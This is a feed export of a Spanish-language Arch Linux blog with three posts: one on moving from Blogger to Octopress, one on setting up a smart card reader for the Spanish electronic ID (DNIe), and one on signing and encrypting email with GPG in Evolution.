tag:blogger.com,1999:blog-23479500924689979002024-03-13T05:10:25.380+01:00El blog de pico.devBlog dedicado a la distribución GNU/Linux que uso habitualmente, Arch Linux, a mis andanzas alrededor del software libre, la programación y a otros temas relacionados con la tecnología y la informática.Unknownnoreply@blogger.comBlogger64125tag:blogger.com,1999:blog-2347950092468997900.post-44987304089275072542013-12-05T13:59:00.000+01:002013-12-05T13:59:16.141+01:00¡Adios viejo mundo!<div style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;">
<img alt="Blogger" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUdX67oXI612OZOI2duqvmKh1Bvq2igHOenRUJLH7JiUa4nlNBMQ86tMhvm6eAKtdQh-Duh3HUeIObzvcK_nDnsRTRZhcwF-ZpBU1F6UrrrQ0bHOQ8DitQsnfDKJxRDKpNZHN31e1eYKA3/s1600/blogger.png" title="Blogger" /></div>
Esta es la última entrada que publicaré en el <a href="http://elblogdepicodev.blogspot.com.es/">elblogdepicodev.blogspot.com.es</a> o la primera de <a href="http://picodotdev.github.io/blog-bitix">picodotdev.github.io/blog-bitix</a> dependiendo del blog al que hayas accedido, es decir, seguiré teniendo un blog y escribiendo sobre la temática alrededor de la tecnología como hasta ahora pero a partir de este momento todo el nuevo contenido que publique lo haré en el nuevo blog <a href="http://picodotdev.github.io/blog-bitix">picodotdev.github.io/blog-bitix</a>, por lo que si estás suscrito al feed de elblogdepicodev te recomiendo que te suscribas al <a href="http://feeds.feedburner.com/blog-bitix/">feed de bitix</a> para no perderte ninguna de las nuevas entradas que publique.<br />
<br />
<h3>
Que está por venir en Bitix</h3>
Tengo bastante cotenido por publicar en el futuro más o menos inmediato empezando por continuar con la <a href="http://elblogdepicodev.blogspot.com.es/2013/11/introduccion-la-criptografia-e-inicio-con-gpg.html">serie de artículos sobre criptografía, GPG y DNI electrónico</a>, instalar la <a href="http://www.raspberrypi.org/">Raspberry Pi</a> en una memoria USB o disco duro externo para ganar velocidad en vez de en la tarjeta SD como he explicado en la <a href="http://elblogdepicodev.blogspot.com.es/2012/06/guia-instalacion-raspberry-pi-con-arch.html">guía de instalación con Arch Linux para la RPi</a>, como usar la Raspberry Pi como «media center» con <a href="http://www.geexbox.org/">GeeXboX</a>, explicar como usar <a href="http://octopress.org/">Octopress</a> y <a href="http://pages.github.com/">GitHub Pages</a> para bloggear y como personalizarlo, programas para «scrapear» webs, mi experiencia y consejos como blogger, el patrón de diseño no operation, usar marcadores con herramientas de logging como <a href="http://www.slf4j.org/">slf4j</a>, el servidor de aplicaciones <a href="http://www.jboss.org/jbossas">JBoss</a> y <a href="http://www.wildfly.org/">Wildfly</a> y muchas otras cosas que tengo apuntadas o que se me vayan ocurriendo según publico estas. Desde luego tengo contenido para seguir escribiendo en el nuevo blog que al ritmo de una entrada por semana continuaré publicando.<br />
<br />
<h3>
¿Por que este cambio?</h3>
Por varias razones, <a href="http://www.blogger.com/">blogger</a> es una plataforma estupenda y a mi durante todo este tiempo me ha servidor perfectamente, es sencillo usarla y en muy poco tiempo se puede tener un blog listo para empezar a escribir en él sin necesidad de muchos conocimientos. Pero tambien tiene varias desventajas, algunas de ellas son:<br />
<ul>
<li>Las entradas han de ser escritas con su <a href="http://es.wikipedia.org/wiki/WYSIWYG">editor wysiwyg</a> y como muchos editores en los que ves es lo que obtienes a veces para dejar las cosas como uno quiere al final hay que acceder al código html que genera y modificarlo directamente, esto consume tiempo que podría dedicarse a escribir contenido en el blog y no en la publicación. Yo suelo escribir las entradas en un bloc de notas (con gedit) en texto plano, el pasarlo a blogger y formatearlo posteriormente con su editor me consume también bastante tiempo, tanto o más que en escribir una primera versión de la entrada.</li>
<li>La edición de la entrada con el editor de blogger requiere conexión a internet, si no estamos conectados a internet no podemos editar o nos obliga a usar un bloc de notas y posteriormente cuando dispongamos de conexión a internet transpasarlo al editor y darle formato.</li>
<li>Las imágenes hay que subirlas usando la propia herramienta de blogger en el momento de publicación de la entrada y conectado a internet. La gestión de las mismas no es muy cómoda, para borrar una imagen una vez subida hay que ir a los álbumes de picasa y cuando se tienen muchas imágenes ya subidas al blog encontrar una en toda la lista se vuelve complicado y lento.</li>
<li>Ajustar el diseño de blogger no es muy complicado pero para personalizarlo de forma avanzada requiere editar el HTML de la plantilla. Esta edición no es nada amigable para un usuario con pocos conocimientos y para algunas cosas hay que hacerlo, como por ejemplo, <a href="http://elblogdepicodev.blogspot.com.es/2012/03/karmacracy-y-como-integrarlo-en-blogger.html">integrar Karmacracy en blogger</a>.</li>
<li>Parece que blogger no es una de las herramientas que Google cuide (al igual que otras varias), las actualizaciones son escasas y con el tiempo van surgiendo herramientas mejores que blogger.</li>
<li>Los ejemplos de código los añado a cada entrada utilizando <a href="https://gist.github.com/">Gist</a> e introducir la referencias adecuadas en cada entrada implica editar e introducir código en la vista html. Además en la vista del editor wysiwyg los gist no se visualizan y si no se tiene cuidado se pueden borrar sin querer con lo que hay que volver a introducirlos. Nuevamente incluir las referencias de los gist me consume tiempo.</li>
</ul>
<h3>
¿Que herramienta de blogging he elegido?</h3>
La plataforma de blogging que he elegido ha sido <a href="http://octopress.org/">Octopress</a>, una plataforma de blogging que en mi caso solventa casi todos los problemas o molestias que actualmente me ocasiona blogger descritos en los anteriores puntos. Es una plataforma basada en <a href="https://www.ruby-lang.org/">Ruby</a> y <a href="http://jekyllrb.com/">Jekyll</a>, uno de los precursores de una nueva generación de plataforma para blogear y es la plataforma de referencia para escribir en blogs y alojarlos en <a href="http://pages.github.com/">GitHub Pages</a>. Aún asi hay alternativas parecidas en otros lenguajes de programación como en Python con <a href="http://docs.getpelican.com/">Pelican</a>. La verdad es que usar Pelican en un principio me atraía más porque con ello quizá aprendiese algo de Python pero el hecho de que Jekyll sea la plataforma de referencia de GitHub es un punto a su favor.<br />
<br />
En las siguientes entradas (<a href="http://arunrocks.com/moving-blogs-to-pelican/">1</a>), (<a href="http://blog.parkermoore.de/2012/12/18/the-immediate-future-of-jekyll/">2</a>) hay algunos comentarios interesantes sobre <a href="http://docs.getpelican.com/">Pelican</a> y <a href="http://jekyllrb.com/">Jekyll</a>. Jekyll por lo visto ha estado abandonado durante un tiempo y Octopress no ha avanzado durante un buen tiempo aunque el desarrollo parece haberse retomado, desde luego por lo que he leído (<a href="http://sasheldon.com/blog/2013/07/07/waiting-for-octopress-2-successor/">3</a>) de Octopress es que llevan bastante tiempo con la intención de publicar una nueva versión pero hasta el momento no se ha producido.<br />
<br />
Lo principal que buscaba en cualquiera de estas plataformas eran las siguientes ventajas sobre blogger:<br />
<ul>
<li><a href="http://es.wikipedia.org/wiki/Markdown">Markdown</a> (<a href="http://daringfireball.net/projects/markdown/">4</a>): este es un formato en texto plano que puede ser transformado a html con ciertos estilos. Como edito con gedit en texto plano usando markdown me va a evitar tener que transformar el contenido de la entrada a html usando el editor wysiwyg de blogger. Además, el html resultante será mejor gracias por una parte a las plantillas de Octopress y por otro a Markdown.</li>
<li>Edición fuera de linea o desconecatado: como el editor puede ser cualquier editor de texto no hace falta estar conectado a internet para escribir o transformar lo escrito al editor de bogger, para las imágenes tampoco hace falta usar la herramienta de blogger sino que su administración es tan simple como gestionar archivos con el navegador de archivos de nuestro sistema operativo. El sitio puede previsualizarse en local.</li>
<li>Diseño adaptable («responsive»): blogger posee plantillas que puede visualizarse más o menos correctamente tanto en el navegador como en un dispositvo móvil con una resolución y pantalla más pequeña pero no se adaptan al tamaño de pantalla o ventana del navegador que esté usando el usuario. Por el contrario, las plantillas por defecto de Octopress son adaptables o «responsivas» lo que mejora la experiencia del usuario al leer el blog, los elementos cambian de posición y de tamaño según el tamaño de ventana para el navegador. Esto se consigue mediante las nuevas características de CSS3 con las que se pueden aplicar unos estilos u otros en función del espacio disponible para los elementos en el navegador del usuario.</li>
<li><a href="http://git-scm.com/">Git</a>: todo el código del blog lo tenemos en local y podemos regenerar su contenido en cualquier momento. Al usar git tenemos un histórico de todos los cambios que hemos hecho a los archivos y podemos recuperar algo si nos es necesario, en blogger solo tenemos la última versión. Si en blogger perdiesemos el acceso a nuestro blog regenerar uno nuevo nos sería complicado, tendríamos que tener una copia de seguridad del contenido y esto no nos serviría para recuperar la plantilla si la hemos personalizado.</li>
<li><a href="https://gist.github.com/">Gist</a>: el soporte que ofrece Octopress para incluir trozos de código de los gist es más simple, basta indicar el número y el nombre del archivo del gist.</li>
<li>Cualquier servidor web como hospedaje: si disponemos de una cuenta de GitHub podemos crear un repositorio para servir el contenido del blog con lo que no necesitaremos contratar ningún servidor de hosting pero si disponemos de un servidor web podemos emplearlo para servir el contenido del blog ya que todo es contenido estático.</li>
<li>Y otras ventajas como la posiblidad de <a href="https://github.com/mojombo/jekyll/pull/36">hacer referencia a otras entradas del blog</a> sin usar la url completa.</li>
</ul>
Octopress también es fácilmente integrable con todos los elementos de terceras partes que buscaba como <a href="http://www.sharethis.com/">Share This</a> y <a href="http://www.karmacracy.com/">Karmacracy</a> para compartir contenido, <a href="http://disqus.com/">Disqus</a> para los comentarios, <a href="http://www.google.com/adsense">AdSense</a> para la publicidad, <a href="http://feedburner.google.com/%E2%80%8E">Feedburner</a> para los feeds y <a href="https://gist.github.com/">Gist</a> para los ejemplos de código.<br />
<br />
Así que dicho todo esto solo me queda añadir, suscríbete al <a href="http://feeds.feedburner.com/blog-bitix/">nuevo feed</a> y... ¡Hola nuevo mundo!
Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2347950092468997900.post-77147928001986700752013-11-29T18:34:00.004+01:002014-10-07T15:16:19.135+02:00Instalar un lector de tarjetas inteligentes y usar el DNIe en Arch Linux<div style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;">
<img alt="Arch Linux" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnyZnfwPYXYEweTKDpfoD3bZAthfNQ7ADNm3a0ZrxAjVf_v4pV-B4pt8rJ1t-6YPxCYjx-nn8wyq84oFdzfImYiFyYWd_YGBOOa1JM3qcfiwmjVAQzeMOpN-MOsF-7ofOo5xfsvAhoQ31G/s1600/archlinux-official-dark.png" height="106" title="Arch Linux" width="320" /></div>
Ya desde hace un tiempo los documentos nacionales de indentidad que emite la administración pública española son en el formato de tarjeta inteligente (SmartCard), conocido como DNI electrónico o DNIe. Estas tarjetas inteligentes tienen la ventaja de que incluyen un certificado digital que nos permiten identificarnos en sitios que lo soporten y realizar diversos trámites y acciones.<br />
<br />
El DNI electrónico nos puede servir para identificarnos en varias páginas de la administración pública, en las páginas de varios bancos y realizar diferentes trámites electrónicos. El DNIe como medio de identificación en una página tiene la ventaja de que no necesitamos tener un usuario y una contraseña específica para ese sitio sino que con el DNI físico y el PIN nos será suficiente. Para identificarnos necesitamos algo que poseemos (el DNI) y algo que conocemos (PIN) con lo que las posibilidades que de alguien que quiera realizar alguna acción en nuestro nombre suplantando nuestra identidad será más complicado, la seguridad es mayor ya que no basta con conocer únicamente el usuario y clave sino que se necesita algo físico. Conseguir ambas cosas es más difícil que solo la clave. Realizar tramites administrativos de forma electrónica tiene la ventaja que no necesitamos desplazarnos hasta la correspondiente ventanilla para realizar el trámite. Algunos bancos que permiten identificarnos con el DNIe son el <a href="https://www.bancosantander.es/">Santander</a>, <a href="https://www.bbk.es/">BBK</a>, el infame <a href="http://www.bankia.com/">Bankia</a> y posiblemente muchos otros, también podemos consultar los <a href="http://www.dgt.es/">puntos que poseemos en el carnét de conducir</a>, seguro que hay muchas más cosas útiles en las que podemos dar uso al DNIe.<br />
<br />
En esta entrada voy a explicar como instalar el DNI electrónico en Linux más concrétamente en <a href="https://www.archlinux.org/">Arch Linux</a>. La primera cosas que necesitaremos será disponer de un lector de tarjetas inteligentes como el siguiente que yo adquirí por unos 12€:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglPveGmmAoWDZSfQPBxUkkG-uec8W5hLrio5APgxq5O_YBEyelATrt1KX0DneRvgLilGhl3wIzobJ7HC39G9zm7z7YlR6lX1sBvDQN3vF1VjwgefGcRCUddbyS_ZVnYC_3Ikc38KdkV7aJ/s1600/lector-tarjetas-inteligentes.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglPveGmmAoWDZSfQPBxUkkG-uec8W5hLrio5APgxq5O_YBEyelATrt1KX0DneRvgLilGhl3wIzobJ7HC39G9zm7z7YlR6lX1sBvDQN3vF1VjwgefGcRCUddbyS_ZVnYC_3Ikc38KdkV7aJ/s1600/lector-tarjetas-inteligentes.jpg" height="320" width="239" /></a></div>
Después en Arch Linux deberemos instalar los siguientes paquetes:<br />
<br />
<script src="https://gist.github.com/picodotdev/7708855.js?file=yaourt.sh"></script>
<noscript><a href="https://gist.github.com/picodotdev/7708855/raw/yaourt.sh">yaourt.sh</a><br/></noscript>
<a href="https://aur.archlinux.org/packages/opensc-opendnie/">opensc-dnie</a> (AUR) y <a href="https://www.archlinux.org/packages/community/x86_64/ccid/">ccid</a> nos darán el soporte para acceder al DNIe, <a href="https://www.archlinux.org/packages/community/x86_64/pcsc-tools/">pcsc-tools</a> nos proporcionará una herramienta (pcsc_scan) con la que podremos comprobar si el lector funciona correctamente y detecta la tarjeta o DNI. Una vez instalados los programas debemos modificar el archivo de configuración «/etc/opensc.conf» aplicando los siguientes cambios y valores en cada apartado y propiedad:<br />
<br />
<script src="https://gist.github.com/picodotdev/7708855.js?file=opensc.conf"></script>
<noscript><a href="https://gist.github.com/picodotdev/7708855/raw/opensc.conf">opensc.conf</a><br/></noscript>
Después debemos iniciar el servicio de opensc, podemos hacer que se inicie con el sistema (enable) o cuando deseemos de forma manual (start):<br />
<br />
<script src="https://gist.github.com/picodotdev/7708855.js?file=service.sh"></script>
<noscript><a href="https://gist.github.com/picodotdev/7708855/raw/service.sh">service.sh</a><br/></noscript>
Una vez hecho todo esto podemos comprobar el funcionamiento de nuestro lector con el DNIe, para ello utilizamos pcsc_scan que nos indicará si ha detectado un lector de tarjetas y si este tiene o no una tarjeta introducida:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMFrYeCQP-IagWAjwWrMjbz78TrR45aDItma6qaXfkt3lAi8tcByqJ17jvfoKL7_uTfjwt-kE5rDc2a5c8TAYHvbdOLpFfvj78N8TeO_P8T30IXHWR-b_qohlBPmvPs1GmAAQT9A8MEzo7/s1600/lector-tarjetas-no-insertado.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMFrYeCQP-IagWAjwWrMjbz78TrR45aDItma6qaXfkt3lAi8tcByqJ17jvfoKL7_uTfjwt-kE5rDc2a5c8TAYHvbdOLpFfvj78N8TeO_P8T30IXHWR-b_qohlBPmvPs1GmAAQT9A8MEzo7/s1600/lector-tarjetas-no-insertado.png" height="135" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHXj9utVtNBBjBDElZ74hKltR7S0Xp7lhXniMO3WLxjGtk28ktZyDiStilMr34TXkXQk3t6M-vfacOAMc9IAsTDIbeMVyp_Nc-4B-Y1-mQD6yjTbZGZl5lcmMhcCZnN0yRSgzh0butDgj2/s1600/lector-tarjetas-insertado.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHXj9utVtNBBjBDElZ74hKltR7S0Xp7lhXniMO3WLxjGtk28ktZyDiStilMr34TXkXQk3t6M-vfacOAMc9IAsTDIbeMVyp_Nc-4B-Y1-mQD6yjTbZGZl5lcmMhcCZnN0yRSgzh0butDgj2/s1600/lector-tarjetas-insertado.png" height="135" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTxcCRIZtuY6Q3hzRi5B8-n6CpKvke3tE1-cUCByayL6hSI2nQkRlg6c4mWyHwtJX2bagMZ-qbQh9rbmXAc61_9WQc1H6CZunbYnCG3n1QuORxebvU3cR05ZfEdVlxhNuH6ho48xM6wD42/s1600/lector-tarjetas-dni-insertado.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTxcCRIZtuY6Q3hzRi5B8-n6CpKvke3tE1-cUCByayL6hSI2nQkRlg6c4mWyHwtJX2bagMZ-qbQh9rbmXAc61_9WQc1H6CZunbYnCG3n1QuORxebvU3cR05ZfEdVlxhNuH6ho48xM6wD42/s1600/lector-tarjetas-dni-insertado.png" height="165" width="200" /></a></div>
Con el siguiente comando podemos ver los certificados del DNIe:<br />
<br />
<script src="https://gist.github.com/picodotdev/7708855.js?file=certificados.sh"></script>
<noscript><a href="https://gist.github.com/picodotdev/7708855/raw/certificados.sh">certificados.sh</a><br/></noscript>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirZv-T7KcybvBuo3Wzn3ZXSaiAhGjkCQcj8xyF1PPC1VXJxjtcq-9WCtY3OdzqFI8JRllWO9egtYBK86peEiD-NsZ_EFp4y2EuYQD0yVNniynjRKmhX9RKNlVoc7xGD34Azl31cmedLEQW/s1600/certificados+tarjeta.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirZv-T7KcybvBuo3Wzn3ZXSaiAhGjkCQcj8xyF1PPC1VXJxjtcq-9WCtY3OdzqFI8JRllWO9egtYBK86peEiD-NsZ_EFp4y2EuYQD0yVNniynjRKmhX9RKNlVoc7xGD34Azl31cmedLEQW/s1600/certificados+tarjeta.png" height="141" width="200" /></a></div>
<br />
Y con el siguiente comando podemos exportar el certificado del DNI, se nos solicitará el PIN del DNI:<br />
<br />
<script src="https://gist.github.com/picodotdev/7708855.js?file=exportar-certificado.sh"></script>
<noscript><a href="https://gist.github.com/picodotdev/7708855/raw/exportar-certificado.sh">exportar-certificado.sh</a><br/></noscript>
Si examinamos el certificado podemos darnos cuenta de una cosa curiosa y es que aunque el DNI físico se emite con una validez de 10 años el certificado incluido en él solo tiene una validez de 2 años y medio, con lo que pasado este tiempo deberemos acudir a la oficina de expedición para ampliar el periódo límite de uso.<br />
<br />
Y esto debería ser parecido para otras distribuciones como <a href="http://www.ubuntu.com/">Ubuntu</a>, <a href="http://www.debian.org/">Debian</a>, <a href="http://www.linuxmint.com/">Mint</a>, <a href="http://www.opensuse.org/">openSUSE</a>, <a href="https://fedoraproject.org/">Fedora</a>. Los paquetes pueden ser diferentes pero el proceso de instalación será similar a este <br />
<br />
Cone esta entrada de momento solo hemos instalado el lector de tarjetas inteligentes en posteriores entradas explicaré como <a href="http://picodotdev.github.io/blog-bitix/2013/12/usar-el-dni-electronico-con-firefox-en-linux/">usar el DNIe para autenticarnos en una página usando Firefox</a>, firmar documentos PDF con <a href="http://www.sinadura.net/">Sinadura</a> o enviar correos electrónicos firmados digitalmente usando el cliente de correo Evolution. También puedes consultar <a href="http://elblogdepicodev.blogspot.com.es/2013/11/introduccion-la-criptografia-e-inicio-con-gpg.html">como crear un parde claves GPG</a> y <a href="http://elblogdepicodev.blogspot.com.es/2013/11/como-usar-gpg-con-evolution.html">usarlas para enviar correos firmados digitalmente</a>.<br />
<br />
Referencia:<br />
<a href="http://picodotdev.github.io/blog-bitix/2013/12/usar-el-dni-electronico-con-firefox-en-linux/">Usar el DNI electrónico con Firefox en Linux</a> <br />
<a href="https://wiki.archlinux.org/index.php/Common_Access_Card">https://wiki.archlinux.org/index.php/Common_Access_Card</a><br />
<a href="http://www.banot.net/?q=node/15">http://www.banot.net/?q=node/15</a> Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2347950092468997900.post-13263267117669571572013-11-22T21:42:00.003+01:002018-08-19T13:39:42.121+02:00Como usar GPG con Evolution<div style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;">
<img alt="GnuPG" border="0" height="107" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcKAIWvB_WDB_7KMQosuvV36tcFiS6iv3txnxdp9mccI76K4Gu9b0BMuQnyaIdFXplgQTMV9pCh3Ej-1wR4IP821Gc0Z5z42aRxEp-U6_PJPhmRJZwZ4TpyeA-LBR91kDOPLqJMpK_IrEn/s1600/gnupg.png" title="GnuPG" width="320" /></div>
<div style="background-color: #dddddd; clear: right; float: right; margin-bottom: 1em; margin-left: 1em;">
<img alt="Evolution" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh95DNz2gkoJmUEhxYd7v8j4orRY2RtC0O6aG4PBahJOTzkMjQW0Flm1jEDDzi2Q7ArpYWNkum1tXsypKQMrtZqAmsU1Pepi8JzEqi7x5-duLSdaeKw_I91OeAWJD86pWz8vjusUlQl3-Sf/s1600/evolution.png" title="Evolution" /></div>
Después de la <a href="http://elblogdepicodev.blogspot.com.es/2013/11/introduccion-la-criptografia-e-inicio-con-gpg.html">introducción a la criptografía y crear una clave GPG</a> ya sea a través de la linea de comandos en la terminal o con la herramienta Contraseñas y claves de GNOME además de usarla para cifrar y firmar documentos desde la terminal podemos usarla para firmar y cifrar los correos electrónicos que enviemos usando nuestro cliente de correo. La firma de los correos electrónicos permitirá conocer al receptor si el correo ha sido modificado por una tercera parte, comprobar la autenticidad del mensaje y si tenemos la clave pública del destinatario podremos enviarle el correo cifrado evitando que pueda ser leído salvo por el destinatario.<br />
<br />
En esta entrada explicaré como firmar y cifrar el correo electrónico que enviemos usando nuestra clave GPG y el cliente de correo por defecto de GNOME, <a href="https://projects.gnome.org/evolution/">Evolution</a>. Para firmar los correos electrónicos que enviemos deberemos conocer previamente el id de nuestra clave GPG, podemos averiguarlo con el comando:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixcz8QSAf_SEbeQzmLI_8xt2qL3kckTZU3Dp9PyeiGMQ2klOBWlVGB6KS-mJy0cABoIAiTHZ357O_Q0TMnWIcbE1SKtYmcMXOLb_eAZSrlhBX0DsDkYTxde3_PXAl5BI1RnjXfoV1fMmqq/s1600/gpg-list.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="501" data-original-width="737" height="217" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixcz8QSAf_SEbeQzmLI_8xt2qL3kckTZU3Dp9PyeiGMQ2klOBWlVGB6KS-mJy0cABoIAiTHZ357O_Q0TMnWIcbE1SKtYmcMXOLb_eAZSrlhBX0DsDkYTxde3_PXAl5BI1RnjXfoV1fMmqq/s320/gpg-list.png" width="320" /></a></div>
<br />
Este comando nos mostrará todas las claves GPG que tenemos en nuestro sistema, buscaremos la nuestra y nos fijaremos en la segunda columna de la linea que empieza por pub. En mi caso el id de mi clave es E012C989 como puede verse en la captura de pantalla (en la segunda clave).<br />
<br />
Una vez que conocemos del id de nuestra clave, vamos a las propiedades de la cuenta de correo de Evolution y lo introducimos en el campo preparado para ello del apartado Seguridad (Propiedades de la cuenta > Seguridad). Y esto será suficiente para que a partir de ahora los correos que enviemos con nuestra cuenta de correo vayan firmados si marcamos la opción «Firmar siempre los mensajes salientes cuando se use esta cuenta» o marcando la opción «Firmar on GPG» en el menu Opciones en la redacción de un mensaje.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4APdRIs_Zt66JG_KKBY53S9LqOXV-S5Q-igWVxO4T0i5ruaSwj7Nht-0LGrkdNwndYole7EsnzjQUl1DqjASVvKA3vt7fMXmhg11lx8yOthyphenhyphenunHO2ge3lYZK4I_JhVxjPFcem0q6OR8S5/s1600/evolution-seguridad.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="258" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4APdRIs_Zt66JG_KKBY53S9LqOXV-S5Q-igWVxO4T0i5ruaSwj7Nht-0LGrkdNwndYole7EsnzjQUl1DqjASVvKA3vt7fMXmhg11lx8yOthyphenhyphenunHO2ge3lYZK4I_JhVxjPFcem0q6OR8S5/s1600/evolution-seguridad.png" width="320" /></a></div>
<br />
La firma digital será añadida como un documento adjunto de nombre «signature.asc» que empezará con el contenido «-----BEGIN PGP SIGNATURE-----». Si evolution nos indica que la firma es válida pero que el remitente no puede ser validado nos falta confiar en la clave.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhps7jZsoR_JPeViVcV1wxZOoptsNlpOTGtc_ch_sI4KuqVRwxnmQlI2Rbs0cW3MWYt3PixdlDzVirzrtM54hVOg0Q3D73Kmh9ynBbQ-W4ULky1ZMFn9ZByw4yQDItA82cZ05AfNcBd9MU8/s1600/gpg-gmail-signature.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="286" data-original-width="296" height="193" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhps7jZsoR_JPeViVcV1wxZOoptsNlpOTGtc_ch_sI4KuqVRwxnmQlI2Rbs0cW3MWYt3PixdlDzVirzrtM54hVOg0Q3D73Kmh9ynBbQ-W4ULky1ZMFn9ZByw4yQDItA82cZ05AfNcBd9MU8/s200/gpg-gmail-signature.png" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxUVSzxIoZWALIaFiSnn0WNZ1rTMt4lkbb_L-kPFJLhE4EYe7E2QqNU-WaYpbiFY5WnkvS-7s3e6xGJ-p7hqH3Nn3qZirTFyt72yYBtDaMbou7vT0DVyamXzhIk84I3WDcdXz5qszVvA_5/s1600/gpg-signature.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="160" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxUVSzxIoZWALIaFiSnn0WNZ1rTMt4lkbb_L-kPFJLhE4EYe7E2QqNU-WaYpbiFY5WnkvS-7s3e6xGJ-p7hqH3Nn3qZirTFyt72yYBtDaMbou7vT0DVyamXzhIk84I3WDcdXz5qszVvA_5/s1600/gpg-signature.png" width="200" /></a></div>
<br />
Con Seahorse accedemos a las propiedades de la clave y en la pestaña
«Detalles» modificamos el nivel de confianza de «Predominar confianza del
propietario», si confiamos en la clave podemos indicar el valor
«Absoluta». Los diferentes mensajes que nos puede indicar Evolution dependiendo de si poseemos la clave pública del remitente, poseemos la clave pero aún no hemos confiado en ella y si tenemos confianza absoluta en la clave son:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEmDCPigZnR7Px7FsdwbRDhfI1KugM2HdDfRGOhlk6iT8jasfmtOCDh5QsumZtwjIQ-9nzxiLUqxsFmhYCZyz8xsswchOnKorQj6rSwX3R-SYmkWAKlFg5gMXgLpAdyV8xO5AAb3GSxipw/s1600/gpg-evolution-neesita-clave-publica.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="188" data-original-width="370" height="101" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEmDCPigZnR7Px7FsdwbRDhfI1KugM2HdDfRGOhlk6iT8jasfmtOCDh5QsumZtwjIQ-9nzxiLUqxsFmhYCZyz8xsswchOnKorQj6rSwX3R-SYmkWAKlFg5gMXgLpAdyV8xO5AAb3GSxipw/s200/gpg-evolution-neesita-clave-publica.png" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsNp2Xj1bJcblQ6tl4QNwM6_jdai0tuOoyZP6A_6L9icMiLCOuNKlbF92hRchhiSWhNyO1yVWq2nRtUzeH9lyRVXoyTMTahS-631MVsrDZH-VP7RcjRZTMq_umDfWru65yNL0Fzi1tb8ga/s1600/gpg-evolution-firma-va%25CC%2581lida.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="196" data-original-width="356" height="110" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsNp2Xj1bJcblQ6tl4QNwM6_jdai0tuOoyZP6A_6L9icMiLCOuNKlbF92hRchhiSWhNyO1yVWq2nRtUzeH9lyRVXoyTMTahS-631MVsrDZH-VP7RcjRZTMq_umDfWru65yNL0Fzi1tb8ga/s200/gpg-evolution-firma-va%25CC%2581lida.png" width="200" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
Para enviar correos cifrados deberemos solicitar a cada destinatario su clave GPG o PGP pública e importarla en nuestro anillo de claves. También si queremos que nos envíen el correo cifrado deberemos distribuir entre nuestros remitentes nuestra clave pública. Para importar una clave pública de un contacto podemos hacerlo con el siguiente comando desde la terminal:<br />
<br />
<script src="https://gist.github.com/picodotdev/7605927.js?file=gpg-import-key.sh"></script>
<noscript><a href="https://gist.github.com/picodotdev/7605927/raw/gpg-import-key.sh">gpg-import-key.sh</a><br></noscript>
O también con la aplicación de GNOME Contraseñas y claves con la opción «Archivo > Importar...»<br />
<br />
Con otros clientes de correo electrónico la forma de usar GPG varía, en esta entrada he explicado la combinación de GPG/Evolution. Con Thunderbird debemos usar la extensión <a href="https://addons.mozilla.org/es/thunderbird/addon/enigmail/">Enigmail</a>, para Outlook parece que la mejor opción es <a href="http://www.gpg4win.org/">Gpg4win</a>.<br />
<br />
